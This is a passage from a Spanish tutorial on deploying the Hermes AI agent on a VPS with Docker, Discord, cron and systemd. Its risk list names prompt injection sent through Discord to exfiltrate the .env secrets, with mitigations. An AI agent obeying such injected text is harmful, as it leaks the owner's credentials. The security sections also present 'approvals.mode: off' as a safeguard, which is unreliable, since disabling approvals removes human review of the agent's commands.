- En el host, la ruta equivalente es `/home/hermes/projects/<slug>/`.
## Rutas obligatorias
- Dentro del sandbox Docker, trabaja siempre bajo `/workspace/projects/`.
- No uses `~/projects`, `projects/` ni `/root/projects`, porque dentro del contenedor pueden apuntar a rutas efímeras fuera del volumen compartido con el host.
- Antes de crear o clonar un proyecto, comprueba que `/workspace/projects` existe y que estás trabajando en la ruta correcta.
- Si vas a crear el proyecto `cuentee`, la ruta correcta es `/workspace/projects/cuentee`.
## Reglas operativas
- No modifiques archivos fuera del proyecto activo salvo que el usuario lo pida de forma explícita.
- Usa siempre rutas completas o haz `cd /workspace/projects/<slug>` al inicio de cada comando importante.
- Si un prompt menciona una ruta ambigua como `~/projects` o `projects/...`, normalízala primero a `/workspace/projects/...` antes de ejecutar nada.
- Antes de abrir PRs o hacer push, comprueba el repo con `git remote get-url origin`.
- Si la carpeta del proyecto no existe, indícalo y propón crearla o clonar el repo correspondiente.
## Convención de nombres
- El nombre que usa el usuario en chat puede no coincidir exactamente con el slug.
- Normaliza nombres como:
- "Cuentee" -> `cuentee`
- "URL Shortener" -> `url-shortener`
## GitHub
- Cada proyecto debe tener su propio repositorio remoto.
- Si hay dudas sobre qué repo corresponde al proyecto, inspecciona `git remote -v` dentro de la carpeta del proyecto.
EOF
Si ese comando te da Permission denied, normalmente significa que /home/hermes/projects se creó antes como root. Compruébalo así:
ls -ld /home/hermes /home/hermes/projects
Si projects pertenece a root, corrígelo una vez:
sudo chown -R hermes:hermes /home/hermes/projects
Y luego vuelve a ejecutar el cat > /home/hermes/projects/AGENTS.md ... ya sin **sudo**.
Ref: Context Files →
AGENTS.md(https://hermes-agent.nousresearch.com/docs/user-guide/features/context-files) Configuration → Working Directory (https://hermes-agent.nousresearch.com/docs/user-guide/configuration/)
11.2. Flujo práctico de uso
Con esta base, el flujo más simple luego será:
-
abrir una sesión nueva con
/newsi vienes de otro proyecto -
titularla con
/title Cuentee -
decir algo como:
Quiero trabajar en el proyecto Cuentee. Su carpeta es /workspace/projects/cuentee. Si no existe, dímelo antes de crear nada. Antes de tocar código, comprueba el repo remoto asociado.
Así no aíslas la memoria global de Hermes, pero sí le das una convención clara para centrarse en un único repo por sesión.
Nota:
/title Cuenteeno cambia ninguna ruta ni configuración; solo pone un nombre humano a la sesión actual para poder recuperarla luego con/resume Cuenteeo localizarla más fácilmente enhermes sessions list. Es útil para mantener una sesión por proyecto sin separar la memoria global de Hermes.
12. Cron diario de resumen por proyecto
Hermes tiene cron scheduler integrado para ejecutar prompts en background. En este tutorial solo vamos a dejar un job simple: una vez cada 24 horas, Hermes revisa los proyectos y te manda un resumen breve de los cambios detectados.
hermes cron add "0 22 * * *" \
- prompt "Revisa /workspace/projects. Para cada proyecto con cambios recientes, redacta un resumen breve de lo hecho hoy: archivos o áreas tocadas, objetivo del cambio, estado actual y siguiente paso recomendado. Entrega el resultado en formato lista, agrupado por proyecto." \
- deliver discord:#lab-status \
- name daily-project-summary
Lista y gestiona:
hermes cron list
hermes cron disable daily-project-summary
hermes cron tick # forzar una ejecución manual para probarlo
Refs: cron / scheduler en docs/user-guide/configuration (https://hermes-agent.nousresearch.com/docs/user-guide/configuration/) y docs/reference/cli-commands (https://hermes-agent.nousresearch.com/docs/reference/cli-commands).
13. Convertir Hermes en servicio systemd 24/7
En un VPS, la documentación oficial de Hermes recomienda usar el system service del propio gateway en vez de depender de una sesión interactiva abierta.
Si durante hermes gateway setup viste este aviso:
System service install requires sudo, so Hermes can't create it from this user session.
After setup, run: sudo "$(command -v hermes)" gateway install - system - run-as-user hermes
Then start it with: sudo "$(command -v hermes)" gateway start - system
es totalmente normal: el asistente corre como tu usuario hermes, pero crear un servicio de sistema requiere **sudo**.
13.1. Instala el servicio de sistema oficial de Hermes
sudo "$(command -v hermes)" gateway install - system - run-as-user hermes
sudo "$(command -v hermes)" gateway start - system
sudo "$(command -v hermes)" gateway status - system
En muchos Ubuntu,
sudono hereda~/.local/bin, así quesudo hermes ...puede fallar concommand not foundaunquehermesfuncione bien en tu shell. Por eso aquí usamossudo “$(command -v hermes)” ..., que resuelve primero la ruta real del binario.
Esto crea un servicio systemd de arranque que:
-
corre en background
-
arranca con el servidor
-
sigue funcionando aunque cierres la sesión SSH
-
ejecuta el gateway como usuario
hermes
La propia doc oficial recomienda user service para portátiles/dev boxes y system service para VPS o hosts headless.
13.2. Verifica que está bien levantado
sudo "$(command -v hermes)" gateway status - system
journalctl -u hermes-gateway -f
Si quieres pararlo o reiniciarlo:
sudo "$(command -v hermes)" gateway stop - system
sudo "$(command -v hermes)" gateway start - system
13.2.1. Si ves status=75 o “Gateway process is running for this profile”
Este caso nos salió de verdad durante la instalación en el VPS. La causa típica es:
-
ya había un
hermes gatewaylanzado manualmente en foreground / tmux / nohup -
luego intentas arrancar además el servicio
systemd -
Hermes detecta dos gateways para el mismo perfil y bloquea el arranque limpio
Síntomas típicos:
-
gateway status — systemmuestrastatus=75 -
aparece
Restart pending -
Hermes avisa:
Gateway process is running for this profile, but the service is not active
Flujo correcto para arreglarlo:
# 1) parar el servicio systemd si está en bucle
sudo "$(command -v hermes)" gateway stop - system
# 2) cerrar cualquier gateway manual del perfil actual
"$(command -v hermes)" gateway stop
# 3) comprobar que ya no quedan procesos sueltos
sudo "$(command -v hermes)" gateway status - system
# 4) arrancar de nuevo solo el servicio systemd
sudo "$(command -v hermes)" gateway start - system
sudo "$(command -v hermes)" gateway status - system
En nuestro caso real del VPS, la secuencia que terminó funcionando fue esta:
sudo "$(command -v hermes)" gateway stop - all
pgrep -af "hermes.*gateway|hermes_cli.main gateway|gateway run"
sudo systemctl reset-failed hermes-gateway
sudo "$(command -v hermes)" gateway start - system
sudo "$(command -v hermes)" gateway status - system
Y el estado bueno final que quieres ver es algo como:
Active: active (running)
✓ System gateway service is running
✓ System service starts at boot without requiring systemd linger
Si aun así Hermes sigue diciendo que hay procesos manuales vivos, revisa los logs completos:
sudo journalctl -u hermes-gateway -n 100 -l
Y como último recurso, mata los gateways del perfil antes de volver a arrancar el servicio:
"$(command -v hermes)" gateway stop - all
sudo "$(command -v hermes)" gateway start - system
No mezcles a la vez: — un
hermes gatewaylanzado manualmente — y elsystemdservice Elige uno. En este tutorial, en VPS, el que queremos dejar al final es solo el servicio**systemd**.
13.3. Sobre cron y tareas en background
Según la documentación actual de Hermes, hermes gateway ya gestiona también el scheduler de cron del gateway, así que no necesitas un segundo servicio separado para cron en este flujo estándar.
13.4. Evita duplicar servicios
No dejes a la vez:
-
un
hermes gatewaycorriendo en foreground en una terminal -
y el servicio
systemd
Y evita también tener instalados a la vez el user service y el system service, porque Hermes avisa de que eso vuelve ambiguos los comandos start/stop/status.
13.5. Cómo acceder al dashboard desde tu portátil
La documentación oficial de Hermes indica que el dashboard y su pestaña de chat requieren los extras web,pty. Si hiciste una instalación manual o una instalación mínima y hermes dashboard no arranca bien, instala esos extras antes de seguir:
pip install 'hermes-agent[web,pty]'
En nuestro caso el dashboard ya quedó disponible, así que el flujo operativo que sí hemos usado es este:
Si ejecutas esto en el VPS:
hermes dashboard
Hermes levanta la UI web en:
http://127.0.0.1:9119
Ese 127.0.0.1 es el localhost del VPS, no el de tu portátil. Por eso, si intentas abrir esa URL directamente desde tu navegador local, verás ERR_CONNECTION_REFUSED.
La forma recomendada de acceder es mantener el dashboard escuchando solo en localhost y exponerlo mediante un túnel SSH.
En el VPS:
hermes dashboard - no-open
Deja esa terminal del VPS abierta. Después, abre otra terminal en tu máquina local y ejecuta allí:
ssh -L 9119:127.0.0.1:9119 hermes@IP_DE_TU_VPS
Y luego, en el navegador de tu portátil:
http://127.0.0.1:9119
Ojo: este comando
ssh -L ...se ejecuta en tu portátil, no dentro del propio VPS. Si lo lanzas desde una sesión ya conectada al servidor, no estarás creando el túnel que necesitas para ver la UI en tu navegador local. Importante: evita exponer el dashboard con— host 0.0.0.0salvo que luego lo protejas tú con un reverse proxy y autenticación. La documentación oficial avisa de que el dashboard puede leer y editar ficheros sensibles como~/.hermes/.envy no trae autenticación propia.
14. Seguridad y límites
14.1. Lo no negociable
-
✅ SSH solo con clave, sin root, fail2ban activo.
-
✅ UFW + Cloud Firewall (doble capa).
-
✅
terminal.backend: dockerpara aislar a Hermes del sistema base y limitarlo a lo que vea dentro del contenedor y de los volúmenes montados. -
✅
approvals.mode: off+security.redact_secrets: true+tirith_enabled: true. -
✅
DISCORD_ALLOWED_USERSsiempre poblado (sin esto, el gateway deniega por defecto). -
✅
chmod 600 ~/.hermes/.env. -
✅ Backups diarios de Hetzner activos.
-
✅ Límite de gasto en OpenRouter (Settings → Limits).
14.2. Riesgos conocidos de esta arquitectura
-
Prompt injection desde Discord exfiltra .env
-
Mitigación:
DISCORD_ALLOWED_USERSrestringe quién habla;redact_secretsenmascara antes de enviar al modelo -
Costes OpenRouter desbocados
-
Mitigación: Hard limit en OpenRouter + alerta +
agent.max_turns+fallback_model/delegationmás baratos -
Hermes ejecuta comando destructivo
-
Mitigación: Sandbox Docker +
approvals.mode: off+ mounts limitados +tirith_enabled -
Quedas sin disco con muchos proyectos
-
Mitigación:
docker system prune -a -f — filter “until=72h”semanal + cron de aviso al 80% -
Bot token leakeado
-
Mitigación: Rotación inmediata desde Developer Portal;
hermes config rotate DISCORD_BOT_TOKEN -
OpenRouter caído
-
Mitigación:
fallback_modelen config +provider_routing.sort: throughput
15. Pasar un prototipo a producción con Sliplane
Cuando un prototipo merece salir del laboratorio, la opción más directa que veo ahora mismo es Sliplane (https://sliplane.io?utm_source=ref_1rh1d59lxrc8).
Antes de subirlo, deja el proyecto así:
-
Dockerfilerazonablemente limpio -
variables de entorno fuera del código
-
docker-compose.ymlusado solo en el laboratorio -
un endpoint
/healtho equivalente para comprobar que arranca
El flujo básico sería:
-
hacer push del repo a GitHub
-
entrar en Sliplane (https://sliplane.io?utm_source=ref_1rh1d59lxrc8)
-
crear un servicio nuevo conectando ese repo
-
dejar que detecte el
Dockerfile -
configurar las variables de entorno desde el panel
-
desplegar y probar la URL resultante
No es la única forma de sacar algo a producción, pero para prototipos y servicios pequeños me parece la más simple.
16. Checklist final
Antes de declarar el laboratorio “listo”:
-
VPS Hetzner CX32 creado, IP fija anotada.
-
Usuario
hermescon sudo, root SSH bloqueado. -
UFW + Cloud Firewall (22, 80, 443).
-
Fail2ban activo.
-
Docker + Compose instalados,
docker run hello-worldOK. -
Hermes Agent instalado (
hermes doctorsin errores). -
OpenRouter API key cargada y
hermesresponde conqwen/qwen3.6-plus. -
terminal.backend: dockeractivo,terminal.cwd=/workspace/projects,approvals.mode: off. -
Discord bot creado, intents activados,
hermes gatewayresponde. -
hermes-gateway.serviceenable + running. -
/home/hermes/projects/yAGENTS.mdglobal creados. -
Cron
daily-project-summaryregistrado y probado. -
Backups diarios de Hetzner activos.
-
Límite de gasto en OpenRouter.
-
Primer proyecto real creado con Hermes.
-
Captura de pantallas en
images/. -
Cada repo puede generar o mantener su propio
ARTICLE.md.
Apéndice A: comandos útiles del día a día
hermes status # estado general
hermes logs gateway -f # logs en vivo del gateway
hermes sessions list # sesiones recientes
hermes memory search "…" # busca en memoria
hermes cron list
hermes skills list
hermes update # actualizar a última versión
hermes backup # zip de config y datos
docker ps
docker system df
docker system prune -a -f - filter "until=72h"
systemctl status hermes-gateway
journalctl -u hermes-gateway -f
Apéndice B: referencias oficiales
-
Docs Hermes Agent: https://hermes-agent.nousresearch.com/docs
-
Quickstart: https://hermes-agent.nousresearch.com/docs/getting-started/quickstart/
-
Configuration: https://hermes-agent.nousresearch.com/docs/user-guide/configuration/
-
Providers (OpenRouter): https://hermes-agent.nousresearch.com/docs/integrations/providers
-
Discord: https://hermes-agent.nousresearch.com/docs/user-guide/messaging/discord
-
CLI Reference: https://hermes-agent.nousresearch.com/docs/reference/cli-commands
-
FAQ: https://hermes-agent.nousresearch.com/docs/reference/faq
-
Repo + ejemplo de config: https://github.com/NousResearch/hermes-agent
-
OpenRouter: https://openrouter.ai/docs
-
Qwen 3.6 Plus: https://openrouter.ai/qwen/qwen3.6-plus
-
MiniMax M2.7: https://openrouter.ai/minimax/minimax-m2.7
-
Hetzner Cloud: https://docs.hetzner.com/cloud/